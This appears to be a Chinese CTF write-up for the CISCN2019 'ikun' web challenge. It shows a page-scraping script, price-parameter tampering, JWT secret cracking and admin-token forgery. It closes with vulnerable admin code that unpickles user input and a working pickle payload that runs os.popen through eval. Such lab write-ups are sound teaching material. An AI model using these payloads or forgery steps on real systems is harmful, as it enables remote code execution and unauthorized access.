[CISCN2019 华北赛区 Day1 Web2]ikun pickle反序列化
今天来个不一样的反序列化。python的pickle反序列化,这里贴上一个还不错的浅析(https://blog.csdn.net/Derait/article/details/119487233 )
好,正题开始。进来就看见了好多购买链接,说是什么ikun们要买到lv6大会员,那就找找有没有lv6,利用python脚本找。
payload:
点击查看代码
import requests
import time
url = "http://cdfcf15a-8fc0-43c2-8d27-204ad1ca890c.node5.buuoj.cn:81/shop?page="
for i in range(1,500):
payload = url+str(i)
time.sleep(0.04)
r = requests.get(url=payload)
if "lv6.png" in r.text:
print("lv6在"+str(i)+"页")
break
time.sleep(0.05)
点击结算进行抓包看看。
这里优惠卷说减20%,那就是打8折,那么包中的discount就是折数,进行更改看看,因为我们账户上的余额不足以购买。
可以看到相应包出现了一个地址b1g_m4mber,进去看看。
但是这个页面只允许admin访问,这时发现前面的包中含有jwt,那就可能是session伪造,但是我们不知道secret。利用jwtcrack工具进行破解试试。
好样的,那么现在进行jwt伪造绕过admin。
那么现在已经进入了页面中,看看源码。
将源码wwww.zip下载下来进行审计,因为提示了只对管理员开放,所以我们看看admin相关的代码。发现admin.py文件。
点击查看代码
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
点击查看代码
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls').read()",))
# 其实这里构造命令执行时我也没有想到__import__('os').popen('ls').read(),还在一直尝试,但是都没有回显,应该是环境使然。
a = pickle.dumps(payload())
a = urllib.quote(a)
print a